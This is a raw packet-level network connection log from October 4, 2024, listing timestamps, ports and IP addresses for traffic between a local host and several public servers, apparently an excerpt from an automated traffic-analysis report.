Oct 4, 2024 04:28:05.984839916 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.984875917 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.984898090 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.984909058 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.984924078 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.984935045 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.984960079 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.984982014 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.984994888 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.984996080 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.985003948 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985014915 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985023975 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985037088 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.985074997 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.985131979 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985141993 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985151052 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985160112 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985171080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985179901 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985183954 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.985189915 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985208035 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.985232115 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.985265017 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985275030 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985316992 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.985373974 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985384941 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985393047 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985403061 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985414028 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985423088 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985431910 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.985433102 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985444069 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985452890 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.985452890 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985464096 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985474110 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.985506058 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.985543013 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985553026 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985562086 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985570908 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985580921 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985594988 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.985615015 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.985634089 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.985797882 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985810041 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985819101 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985829115 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985837936 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985847950 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985851049 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.985857010 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985866070 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985874891 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985884905 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985891104 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.985896111 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985904932 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985914946 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.985918045 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.985943079 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.985963106 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.986032963 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.986048937 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.986058950 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.986069918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.986078978 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.986088991 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.986090899 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.986099005 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.986109018 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.986119986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.986125946 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.986167908 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.986177921 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.986187935 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.986196041 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.986222982 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.986242056 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.986293077 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.986304998 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.986315012 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.986320019 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.986331940 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.986341953 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:05.986342907 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.986368895 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:05.986402035 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.058749914 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.058763981 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.058773994 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.058799028 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.058809042 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.058819056 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.058844090 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.058854103 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.058880091 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.058974028 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.059019089 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.059027910 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.059048891 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.059060097 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.059068918 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.059078932 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.059101105 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.059101105 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.059111118 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.059180021 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.065684080 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.065702915 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.065711975 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.065754890 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.065766096 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.065776110 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.065789938 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.065794945 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.065810919 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.065830946 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.065855026 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.066128016 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.066145897 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.066154957 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.066183090 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.066199064 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.066210985 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.066220999 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.066232920 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.066241026 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.066272974 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.066278934 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.066289902 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.066328049 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.066385031 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.066395044 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.066405058 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.066414118 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.066438913 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.066442013 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.066451073 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.066459894 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.066467047 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.066526890 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.076905966 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.076920986 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.076931000 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.076972961 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.076982975 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.076992989 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077003002 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077049017 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.077085972 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077096939 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077106953 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077117920 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.077147961 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077158928 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077168941 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077179909 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077197075 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.077271938 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077282906 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077291012 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.077291965 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077310085 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077326059 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077337027 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077341080 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.077346087 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077351093 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.077357054 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077390909 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.077419996 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.077429056 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077439070 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077450991 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077455997 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077482939 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.077510118 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.077586889 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077599049 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077608109 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077614069 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077632904 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.077672005 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.077698946 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077733040 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077744007 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:06.077744961 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.077779055 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.077801943 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.094162941 CEST	49740	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:06.099011898 CEST	80	49740	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:07.013751030 CEST	49744	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:07.018743038 CEST	80	49744	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:07.018838882 CEST	49744	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:07.019016981 CEST	49744	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:07.019084930 CEST	49744	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:07.023798943 CEST	80	49744	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:07.023854971 CEST	80	49744	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:07.023857117 CEST	49744	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:07.023910999 CEST	49744	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:07.024056911 CEST	80	49744	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:07.024077892 CEST	80	49744	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:07.024107933 CEST	80	49744	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:07.024111986 CEST	49744	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:07.024125099 CEST	80	49744	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:07.024153948 CEST	49744	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:07.024159908 CEST	80	49744	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:07.024177074 CEST	80	49744	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:07.024182081 CEST	49744	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:07.024195910 CEST	80	49744	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:07.024215937 CEST	80	49744	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:07.028713942 CEST	80	49744	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:07.028754950 CEST	80	49744	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:07.028774023 CEST	80	49744	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:07.028992891 CEST	80	49744	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:07.029030085 CEST	80	49744	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:07.029042006 CEST	80	49744	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:07.074382067 CEST	80	49744	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:10.336049080 CEST	443	49739	142.250.184.228	192.168.2.6
Oct 4, 2024 04:28:10.336102962 CEST	443	49739	142.250.184.228	192.168.2.6
Oct 4, 2024 04:28:10.336239100 CEST	49739	443	192.168.2.6	142.250.184.228
Oct 4, 2024 04:28:11.260431051 CEST	80	49744	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:11.260526896 CEST	49744	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:11.260772943 CEST	49744	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:11.260962963 CEST	80	49744	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:11.261012077 CEST	49744	80	192.168.2.6	172.67.159.45
Oct 4, 2024 04:28:11.265502930 CEST	80	49744	172.67.159.45	192.168.2.6
Oct 4, 2024 04:28:11.409223080 CEST	49739	443	192.168.2.6	142.250.184.228
Oct 4, 2024 04:28:11.409244061 CEST	443	49739	142.250.184.228	192.168.2.6
Oct 4, 2024 04:28:12.915709972 CEST	49749	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:28:12.915762901 CEST	443	49749	40.113.110.67	192.168.2.6
Oct 4, 2024 04:28:12.915849924 CEST	49749	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:28:12.916527033 CEST	49749	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:28:12.916553974 CEST	443	49749	40.113.110.67	192.168.2.6
Oct 4, 2024 04:28:13.711726904 CEST	443	49749	40.113.110.67	192.168.2.6
Oct 4, 2024 04:28:13.711801052 CEST	49749	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:28:13.713874102 CEST	49749	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:28:13.713882923 CEST	443	49749	40.113.110.67	192.168.2.6
Oct 4, 2024 04:28:13.714138985 CEST	443	49749	40.113.110.67	192.168.2.6
Oct 4, 2024 04:28:13.716270924 CEST	49749	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:28:13.716329098 CEST	49749	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:28:13.716332912 CEST	443	49749	40.113.110.67	192.168.2.6
Oct 4, 2024 04:28:13.716494083 CEST	49749	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:28:13.763391972 CEST	443	49749	40.113.110.67	192.168.2.6
Oct 4, 2024 04:28:13.892597914 CEST	443	49749	40.113.110.67	192.168.2.6
Oct 4, 2024 04:28:13.892724037 CEST	443	49749	40.113.110.67	192.168.2.6
Oct 4, 2024 04:28:13.892787933 CEST	49749	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:28:13.893002033 CEST	49749	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:28:13.893018961 CEST	443	49749	40.113.110.67	192.168.2.6
Oct 4, 2024 04:28:20.160638094 CEST	49750	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:28:20.160696983 CEST	443	49750	172.202.163.200	192.168.2.6
Oct 4, 2024 04:28:20.160770893 CEST	49750	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:28:20.161134958 CEST	49750	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:28:20.161150932 CEST	443	49750	172.202.163.200	192.168.2.6
Oct 4, 2024 04:28:20.832284927 CEST	443	49750	172.202.163.200	192.168.2.6
Oct 4, 2024 04:28:20.832365036 CEST	49750	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:28:20.834400892 CEST	49750	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:28:20.834414959 CEST	443	49750	172.202.163.200	192.168.2.6
Oct 4, 2024 04:28:20.834662914 CEST	443	49750	172.202.163.200	192.168.2.6
Oct 4, 2024 04:28:20.845334053 CEST	49750	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:28:20.887412071 CEST	443	49750	172.202.163.200	192.168.2.6
Oct 4, 2024 04:28:21.091237068 CEST	443	49750	172.202.163.200	192.168.2.6
Oct 4, 2024 04:28:21.091264963 CEST	443	49750	172.202.163.200	192.168.2.6
Oct 4, 2024 04:28:21.091289043 CEST	443	49750	172.202.163.200	192.168.2.6
Oct 4, 2024 04:28:21.091419935 CEST	49750	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:28:21.091451883 CEST	443	49750	172.202.163.200	192.168.2.6
Oct 4, 2024 04:28:21.091464996 CEST	49750	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:28:21.091500998 CEST	49750	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:28:21.092607021 CEST	443	49750	172.202.163.200	192.168.2.6
Oct 4, 2024 04:28:21.092643023 CEST	443	49750	172.202.163.200	192.168.2.6
Oct 4, 2024 04:28:21.092674971 CEST	49750	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:28:21.092681885 CEST	443	49750	172.202.163.200	192.168.2.6
Oct 4, 2024 04:28:21.092704058 CEST	49750	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:28:21.092897892 CEST	443	49750	172.202.163.200	192.168.2.6
Oct 4, 2024 04:28:21.092947960 CEST	49750	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:28:21.096375942 CEST	49750	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:28:21.096388102 CEST	443	49750	172.202.163.200	192.168.2.6
Oct 4, 2024 04:28:21.096417904 CEST	49750	443	192.168.2.6	172.202.163.200
Oct 4, 2024 04:28:21.096422911 CEST	443	49750	172.202.163.200	192.168.2.6
Oct 4, 2024 04:28:44.294043064 CEST	49751	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:28:44.294142008 CEST	443	49751	40.113.110.67	192.168.2.6
Oct 4, 2024 04:28:44.294294119 CEST	49751	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:28:44.294939041 CEST	49751	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:28:44.294970989 CEST	443	49751	40.113.110.67	192.168.2.6
Oct 4, 2024 04:28:45.384202003 CEST	443	49751	40.113.110.67	192.168.2.6
Oct 4, 2024 04:28:45.384350061 CEST	49751	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:28:45.390446901 CEST	49751	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:28:45.390476942 CEST	443	49751	40.113.110.67	192.168.2.6
Oct 4, 2024 04:28:45.391247988 CEST	443	49751	40.113.110.67	192.168.2.6
Oct 4, 2024 04:28:45.396008015 CEST	49751	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:28:45.396298885 CEST	49751	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:28:45.396321058 CEST	443	49751	40.113.110.67	192.168.2.6
Oct 4, 2024 04:28:45.396740913 CEST	49751	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:28:45.443399906 CEST	443	49751	40.113.110.67	192.168.2.6
Oct 4, 2024 04:28:45.571314096 CEST	443	49751	40.113.110.67	192.168.2.6
Oct 4, 2024 04:28:45.571551085 CEST	443	49751	40.113.110.67	192.168.2.6
Oct 4, 2024 04:28:45.571666002 CEST	49751	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:28:45.571873903 CEST	49751	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:28:45.571907043 CEST	443	49751	40.113.110.67	192.168.2.6
Oct 4, 2024 04:28:59.782819033 CEST	49753	443	192.168.2.6	142.250.184.228
Oct 4, 2024 04:28:59.782862902 CEST	443	49753	142.250.184.228	192.168.2.6
Oct 4, 2024 04:28:59.782994986 CEST	49753	443	192.168.2.6	142.250.184.228
Oct 4, 2024 04:28:59.783488989 CEST	49753	443	192.168.2.6	142.250.184.228
Oct 4, 2024 04:28:59.783507109 CEST	443	49753	142.250.184.228	192.168.2.6
Oct 4, 2024 04:29:00.438994884 CEST	443	49753	142.250.184.228	192.168.2.6
Oct 4, 2024 04:29:00.439403057 CEST	49753	443	192.168.2.6	142.250.184.228
Oct 4, 2024 04:29:00.439419985 CEST	443	49753	142.250.184.228	192.168.2.6
Oct 4, 2024 04:29:00.440238953 CEST	443	49753	142.250.184.228	192.168.2.6
Oct 4, 2024 04:29:00.440824032 CEST	49753	443	192.168.2.6	142.250.184.228
Oct 4, 2024 04:29:00.440910101 CEST	443	49753	142.250.184.228	192.168.2.6
Oct 4, 2024 04:29:00.483376026 CEST	49753	443	192.168.2.6	142.250.184.228
Oct 4, 2024 04:29:02.452625990 CEST	49704	80	192.168.2.6	199.232.214.172
Oct 4, 2024 04:29:02.457868099 CEST	80	49704	199.232.214.172	192.168.2.6
Oct 4, 2024 04:29:02.457971096 CEST	49704	80	192.168.2.6	199.232.214.172
Oct 4, 2024 04:29:10.383244038 CEST	443	49753	142.250.184.228	192.168.2.6
Oct 4, 2024 04:29:10.383316994 CEST	443	49753	142.250.184.228	192.168.2.6
Oct 4, 2024 04:29:10.383363962 CEST	49753	443	192.168.2.6	142.250.184.228
Oct 4, 2024 04:29:11.407382011 CEST	49753	443	192.168.2.6	142.250.184.228
Oct 4, 2024 04:29:11.407413960 CEST	443	49753	142.250.184.228	192.168.2.6
Oct 4, 2024 04:29:17.473725080 CEST	49754	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:29:17.473773956 CEST	443	49754	40.113.110.67	192.168.2.6
Oct 4, 2024 04:29:17.473928928 CEST	49754	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:29:17.475754023 CEST	49754	443	192.168.2.6	40.113.110.67
Oct 4, 2024 04:29:17.475764036 CEST	443	49754	40.113.110.67	192.168.2.6
Oct 4, 2024 04:29:19.046772957 CEST	443	49754	40.113.110.67	192.168.2.6
Oct 4, 2024 04:29:19.047365904 CEST	49754	443	192.168.2.6	40.113.110.67
